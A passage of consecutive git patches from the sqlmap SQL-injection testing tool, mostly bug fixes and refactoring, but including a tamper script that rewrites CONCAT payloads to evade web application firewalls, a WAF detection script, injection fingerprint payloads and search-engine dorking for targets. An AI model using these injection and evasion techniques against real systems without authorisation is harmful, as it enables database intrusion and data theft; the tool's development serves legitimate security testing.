re.search(BURP_REQUEST_REGEX, content, re.I | re.S): - reqResList = [content] + if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): + reqResList = [_.decode("base64") for _ in re.findall(BURP_XML_HISTORY_REGEX, content, re.I | re.S)] + else: + reqResList = [content] else: reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) @@ -437,7 +441,8 @@ def _setMultipleTargets(): if updatedTargetsCount > initialTargetsCount: infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount) - infoMsg += "testable requests from the targets list" + infoMsg += "(parameter unique) requests from the " + infoMsg += "targets list ready to be tested" logger.info(infoMsg) def _adjustLoggingFormatter(): diff --git a/lib/core/settings.py b/lib/core/settings.py index e72a2ab7c..667703db8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -259,6 +259,9 @@ WEBSCARAB_SPLITTER = "### Conversation" # Splitter used between requests in BURP log files BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}" +# Regex used for parsing XML Burp saved history items +BURP_XML_HISTORY_REGEX = r' Date: Sat, 9 Nov 2013 00:23:34 +0100 Subject: [PATCH 122/889] Adding new tamper script --- tamper/concat2concatws.py | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 tamper/concat2concatws.py diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py new file mode 100644 index 000000000..bf92962d8 --- /dev/null +++ b/tamper/concat2concatws.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' + + Requirement: + * MySQL + + Tested against: + * MySQL 5.0 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the CONCAT() function + + >>> tamper('CONCAT(1,2)') + 'CONCAT_WS(MID(CHAR(0),0,0),1,2)' + """ + + if payload: + payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") + + return payload From abd76081e1a08d6d47dc579ec1cd3fb52c0719f0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 11 Nov 2013 09:25:42 +0100 Subject: [PATCH 123/889] Adding a new WAF script (varnish.py) --- doc/THANKS.md | 5 ++++- waf/varnish.py | 25 +++++++++++++++++++++++++ 2 files changed, 29 insertions(+), 1 deletion(-) create mode 100644 waf/varnish.py diff --git a/doc/THANKS.md b/doc/THANKS.md index 5a790351f..b275c5ef2 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -6,6 +6,9 @@ Andres Tarasco Acuna, Santiago Accurso, * for reporting a bug +Syed Afzal, +* for contributing a WAF script varnish.py + Zaki Akhmad, * for suggesting a couple of features @@ -303,7 +306,7 @@ Michael Majchrowicz, * for suggesting a lot of ideas and features Ahmad Maulana, -* for contributing one tamper script, halfversionedmorekeywords.py +* for contributing a tamper script halfversionedmorekeywords.py Ferruh Mavituna, * for exchanging ideas on the implementation of a couple of features diff --git a/waf/varnish.py b/waf/varnish.py new file mode 100644 index 000000000..fe95cd28b --- /dev/null +++ b/waf/varnish.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Varnish FireWall (OWASP) " + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = headers.get("X-Varnish") is not None + retval |= re.search(r"varnish\Z", headers.get(HTTP_HEADER.VIA, ""), re.I) is not None + if retval: + break + + return retval From 2f1607b4d597733b63d70f4e87c5892928f7b07e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 12 Nov 2013 13:13:47 +0100 Subject: [PATCH 124/889] Minor fix for dumping non-alphanumeric database names --- lib/core/dump.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 6705fff0f..b8ec9953d 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission import cgi import codecs import os +import re import threading from lib.core.common import Backend @@ -379,7 +380,7 @@ class Dump(object): self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return - dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)) + dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))) From d84ddf23bde244dc08fa7945728c0433010b2200 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 12 Nov 2013 14:08:41 +0100 Subject: [PATCH 125/889] Replacing os.sep constructs with os.path.join --- lib/core/common.py | 2 +- lib/core/dump.py | 8 ++++---- lib/core/target.py | 6 +++--- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 901dcf2a7..72c1ead22 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -837,7 +837,7 @@ def dataToOutFile(filename, data): retVal = None if data: - retVal = "%s%s%s" % (conf.filePath, os.sep, filePathToSafeString(filename)) + retVal = os.path.join(conf.filePath, filePathToSafeString(filename)) with codecs.open(retVal, "wb", UNICODE_ENCODING) as f: f.write(data) diff --git a/lib/core/dump.py b/lib/core/dump.py index b8ec9953d..ea1b1b0a6 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -74,7 +74,7 @@ class Dump(object): kb.dataOutputFlag = True def setOutputFile(self): - self._outputFile = "%s%slog" % (conf.outputPath, os.sep) + self._outputFile = os.path.join(conf.outputPath, "log") try: self._outputFP = codecs.open(self._outputFile, "ab" if not conf.flushSession else "wb", UNICODE_ENCODING) except IOError, ex: @@ -380,15 +380,15 @@ class Dump(object): self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return - dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) + dumpDbPath = os.path.join(conf.dumpPath, re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: - replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))) + replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) - dumpFileName = "%s%s%s.%s" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()) + dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())) appendToFile = os.path.isfile(dumpFileName) and any((conf.limitStart, conf.limitStop)) dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab") diff --git a/lib/core/target.py b/lib/core/target.py index e33c2cb51..b577bd015 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -304,7 +304,7 @@ def _setHashDB(): """ if not conf.hashDBFile: - conf.hashDBFile = conf.sessionFile or "%s%ssession.sqlite" % (conf.outputPath, os.sep) + conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite") if os.path.exists(conf.hashDBFile): if conf.flushSession: @@ -432,7 +432,7 @@ def _setResultsFile(): return if not conf.resultsFP: - conf.resultsFilename = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, time.strftime(RESULTS_FILE_FORMAT).lower()) + conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) conf.resultsFP = codecs.open(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep) @@ -498,7 +498,7 @@ def _createTargetDirs(): paths.SQLMAP_OUTPUT_PATH = tempDir - conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) + conf.outputPath = os.path.join(paths.SQLMAP_OUTPUT_PATH, conf.hostname) if not os.path.isdir(conf.outputPath): try: From 354aaeae5b2fa556afac801693863990e706c1cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 12 Nov 2013 14:11:07 +0100 Subject: [PATCH 126/889] Removing unused imports --- lib/parse/cmdline.py | 1 - plugins/dbms/hsqldb/enumeration.py | 1 - plugins/dbms/hsqldb/fingerprint.py | 2 -- plugins/dbms/postgresql/fingerprint.py | 2 -- 4 files changed, 6 deletions(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e86620f47..0f75689c7 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -5,7 +5,6 @@ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import codecs import os import sys diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index a9bc518be..d9a60def2 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -13,7 +13,6 @@ from lib.core.data import queries from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.request import inject -from lib.parse.banner import bannerParser class Enumeration(GenericEnumeration): def __init__(self): diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 6dd126ab0..4e72e9dde 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -9,13 +9,11 @@ import re from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS -from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import UNKNOWN_DBMS_VERSION diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 85743e4dc..f4c1c43e1 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -15,7 +14,6 @@ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES -from lib.core.settings import PGSQL_SYSTEM_DBS from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint From 3c67ba08c5dedbe488b34b6f6d7db78107995e79 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 12 Nov 2013 14:53:05 +0100 Subject: [PATCH 127/889] Minor fix --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 72c1ead22..de8c155b0 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2939,7 +2939,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if _: retVal = re.sub(r"(?i)\A%s\." % DEFAULT_MSSQL_SCHEMA, "", retVal) - if retVal.upper() in kb.keywords or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) + if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = "`%s`" % retVal.strip("`") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2): From c37ad88283329bd78a83cd6e98378b7d80c9e36f Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 13 Nov 2013 14:34:19 +0000 Subject: [PATCH 128/889] minor bug fix --- lib/core/option.py | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/core/option.py b/lib/core/option.py index 1555d693c..7e3f878e6 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -989,6 +989,7 @@ def _setHTTPProxy(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. """ + global proxyHandler if not conf.proxy: if conf.proxyList: From 59b6791faa25fa36c72f9b1cae61d5107ecafeba Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 19 Nov 2013 00:24:47 +0000 Subject: [PATCH 129/889] minor improvement --- lib/request/inject.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index 320780d22..71de6053b 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -198,7 +198,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char if isNumPosStrValue(count): count = int(count) - if batch: + if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " From cda27ec20beefe858012575a65cee6007f8019a1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 24 Nov 2013 15:01:26 +0100 Subject: [PATCH 130/889] Patch for an Issue #563 --- lib/core/purge.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/purge.py b/lib/core/purge.py index 345655032..007822de5 100644 --- a/lib/core/purge.py +++ b/lib/core/purge.py @@ -75,4 +75,8 @@ def purge(directory): logger.debug("deleting the whole directory tree") os.chdir(os.path.join(directory, "..")) - shutil.rmtree(directory) + + try: + shutil.rmtree(directory) + except OSError, ex: + logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, ex)) From 24e67289c89382cec78dd938dedd527d8c646e3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 25 Nov 2013 11:57:20 +0100 Subject: [PATCH 131/889] Bug fix --- plugins/dbms/mssqlserver/enumeration.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 5131f2b45..c3b9a0229 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -311,7 +311,7 @@ class Enumeration(GenericEnumeration): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) - for db in dbs.keys(): + for db in filter(None, dbs.keys()): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: From 7054586e8ac14b2d51975ba9a96da149769eb3f4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 25 Nov 2013 20:57:07 +0100 Subject: [PATCH 132/889] Update for an Issue #565 (more work TBD - DuckDuckGo has some kind of IP blocking mechanism) --- lib/core/settings.py | 5 ++++- lib/utils/google.py | 51 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 55 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 667703db8..0c347a77e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -53,9 +53,12 @@ PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" # Regular expression used for recognition of generic maximum connection messages MAX_CONNECTIONS_REGEX = r"max.+connections" -# Regular expression used for extracting results from google search +# Regular expression used for extracting results from Google search GOOGLE_REGEX = r"url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" +# Regular expression used for extracting results from DuckDuckGo search +DUCKDUCKGO_REGEX = r'"u":"([^"]+)' + # Regular expression used for extracting content from "textual" tags TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P[^<]+)" diff --git a/lib/utils/google.py b/lib/utils/google.py index af5f45021..a53bfe1b7 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -13,13 +13,16 @@ import urllib import urllib2 from lib.core.common import getUnicode +from lib.core.common import readInput from lib.core.common import urlencode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.settings import GOOGLE_REGEX +from lib.core.settings import DUCKDUCKGO_REGEX from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage @@ -103,4 +106,52 @@ class Google(object): warnMsg += "used IP address disabling further searches" raise SqlmapGenericException(warnMsg) + if not retVal: + message = "no usable links found. " + message += "do you want to (re)try with DuckDuckGo? [Y/n] " + output = readInput(message, default="Y") + + if output.strip().lower() != 'n': + url = "https://duckduckgo.com/d.js?" + url += "q=%s&p=%d&s=100" % (urlencode(dork, convall=True), gpage) + + if not conf.randomAgent: + conf.opener.addheaders = [_ for _ in conf.opener.addheaders if _[0].lower() != HTTP_HEADER.USER_AGENT.lower()] + conf.opener.addheaders.append((HTTP_HEADER.USER_AGENT, "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0")) + + try: + conn = self.opener.open(url) + + requestMsg = "HTTP request:\nGET %s" % url + requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + page = conn.read() + code = conn.code + status = conn.msg + responseHeaders = conn.info() + page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) + + responseMsg = "HTTP response (%s - %d):\n" % (status, code) + + if conf.verbose <= 4: + responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) + elif conf.verbose > 4: + responseMsg += "%s\n%s\n" % (responseHeaders, page) + + logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + except urllib2.HTTPError, e: + try: + page = e.read() + except socket.timeout: + warnMsg = "connection timed out while trying " + warnMsg += "to get error page information (%d)" % e.code + logger.critical(warnMsg) + return None + except (urllib2.URLError, socket.error, socket.timeout): + errMsg = "unable to connect to DuckDuckGo" + raise SqlmapConnectionException(errMsg) + + retVal = [urllib.unquote(match.group(1)) for match in re.finditer(DUCKDUCKGO_REGEX, page, re.I | re.S)] + return retVal From 07bd22fa800608b9afb09e6212b2974555569cff Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 1 Dec 2013 21:03:30 +0100 Subject: [PATCH 133/889] Minor fix --- xml/payloads.xml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 7e81bb17e..fded8b4e5 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -2243,7 +2243,7 @@ Formats:
- HSQLDB >= 1.7.2 Server stacked queries + HSQLDB >= 1.7.2 stacked queries 4 3 0 @@ -2264,7 +2264,7 @@ Formats: - HSQLDB >= 2.0 Server stacked queries + HSQLDB >= 2.0 stacked queries 4 4 0 From 663b1e711beeb9204b6a5dde1c20129f84968ec8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 1 Dec 2013 21:22:29 +0100 Subject: [PATCH 134/889] Bug fix --- xml/banner/generic.xml | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/xml/banner/generic.xml b/xml/banner/generic.xml index 6844b8443..9a221fd91 100644 --- a/xml/banner/generic.xml +++ b/xml/banner/generic.xml @@ -7,10 +7,26 @@ - + + + + + + + + + + + + + + + + + From 59d667d94cfcc8cd59eda9842b628d9e97d95a90 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 1 Dec 2013 22:25:12 +0100 Subject: [PATCH 135/889] Minor update --- lib/parse/handler.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 12116cc4b..02bb5f973 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -70,7 +70,7 @@ class FingerprintHandler(ContentHandler): self._feedInfo("technology", attrs.get("technology")) if self._sp.isdigit(): - self._feedInfo("sp", "Service Pack %s" % self._match.group(int(self._sp))) + self._feedInfo("sp", "Service Pack %s" % int(self._sp)) self._regexp = None self._match = None From dd2ddec79a6de708b834062b45c75ff901cc4d03 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 3 Dec 2013 13:37:04 +0100 Subject: [PATCH 136/889] Minor fix (better extraction of original value in case of replacement and custom POST injection mark) --- lib/core/agent.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index b73d3d65f..d010eac5b 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -101,7 +101,8 @@ class Agent(object): elif kb.postHint == POST_HINT.JSON: origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)(?P[^"]+\Z)', origValue) else: - origValue = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"]+\Z)", origValue) or "" + _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"]+\Z)", origValue) or "" + origValue = _.split('=', 1)[1] if '=' in _ else "" elif place == PLACE.CUSTOM_HEADER: paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] From bf3fbb0ae0b1d990ea1f799080c77b8b15065cd1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 4 Dec 2013 09:56:37 +0100 Subject: [PATCH 137/889] Ignore Google analytics cookies --- lib/controller/controller.py | 3 ++- lib/core/common.py | 6 ++++-- lib/core/settings.py | 3 +++ 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 7cd6abb04..b0c1e833b 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -54,6 +54,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HOST_ALIASES from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES @@ -452,7 +453,7 @@ def start(): logger.info(infoMsg) # Ignore session-like parameters for --level < 4 - elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS: + elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = "ignoring %s parameter '%s'" % (place, parameter) diff --git a/lib/core/common.py b/lib/core/common.py index de8c155b0..20a7a1a94 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -97,6 +97,7 @@ from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES from lib.core.settings import INFERENCE_UNKNOWN_CHAR @@ -556,8 +557,9 @@ def paramToDict(place, parameters=None): testableParameters[parameter] = "=".join(parts[1:]) if not conf.multipleTargets: _ = urldecode(testableParameters[parameter], convall=True) - if _.strip(DUMMY_SQL_INJECTION_CHARS) != _\ - or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _): + if (_.strip(DUMMY_SQL_INJECTION_CHARS) != _\ + or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\ + and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): warnMsg = "it appears that you have provided tainted parameter values " warnMsg += "('%s') with most probably leftover " % element warnMsg += "chars/statements from manual SQL injection test(s). " diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c347a77e..1fce8a85f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -340,6 +340,9 @@ IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__EVENTARGUMENT", " # Regular expression used for recognition of ASP.NET control parameters ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$" +# Prefix for Google analytics cookie names +GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" + # Turn off resume console info to avoid potential slowdowns TURN_OFF_RESUME_INFO_LIMIT = 20 From b0ca34ff2749eabc33116db26ea6afdd0f2ff48e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 4 Dec 2013 10:09:54 +0100 Subject: [PATCH 138/889] Bug fix (payload character '=' was not being url-encoded in custom (user) post cases - when posthint was None) --- lib/request/connect.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 672ebf190..07bc8d098 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -648,7 +648,7 @@ class Connect(object): logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) - if place == PLACE.CUSTOM_POST: + if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts @@ -661,7 +661,7 @@ class Connect(object): value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded - if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST,) and urlEncodePost: + if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and urlEncodePost: payload = urlencode(payload, '%', False, place != PLACE.URI) value = agent.replacePayload(value, payload) From b7244a07cbed9a9d59e8e4286353765fc3117981 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 4 Dec 2013 11:32:42 +0100 Subject: [PATCH 139/889] Changing testing payload for MsSQL (BINARY_CHECKSUM seems to be blocked in some cases) --- plugins/dbms/mssqlserver/fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 05b636297..f27eade59 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -84,7 +84,7 @@ class Fingerprint(GenericFingerprint): if conf.direct: result = True else: - result = inject.checkBooleanExpression("BINARY_CHECKSUM([RANDNUM])=BINARY_CHECKSUM([RANDNUM])") + result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])") if result: infoMsg = "confirming %s" % DBMS.MSSQL From a06a6de193f7953d824ace1c335db5bf82d73036 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 6 Dec 2013 13:26:34 +0000 Subject: [PATCH 140/889] minor bug fix --- plugins/dbms/mssqlserver/enumeration.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index c3b9a0229..a58ba80c4 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -341,7 +341,7 @@ class Enumeration(GenericEnumeration): conf.tbl = foundTbl conf.col = column - self.getColumns(onlyColNames=True, bruteForce=False) + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\ and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): @@ -400,7 +400,7 @@ class Enumeration(GenericEnumeration): conf.tbl = tbl conf.col = column - self.getColumns(onlyColNames=True, bruteForce=False) + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) From c3dd6e1e32c65a22bfed9fa3c48a4de8b0fbb19e Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sun, 8 Dec 2013 17:46:02 +0100 Subject: [PATCH 141/889] api's get_option function doesn't lookup the right object --- lib/utils/api.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index d62f62a24..c5f43fc0a 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -389,7 +389,7 @@ def option_get(taskid): option = request.json.get("option", "") - if option in tasks[taskid]: + if option in tasks[taskid].options: return jsonize({option: tasks[taskid].get_option(option)}) else: return jsonize({option: "not set"}) From 437278e32d53988bb764fb925998038e115dc1f5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 Dec 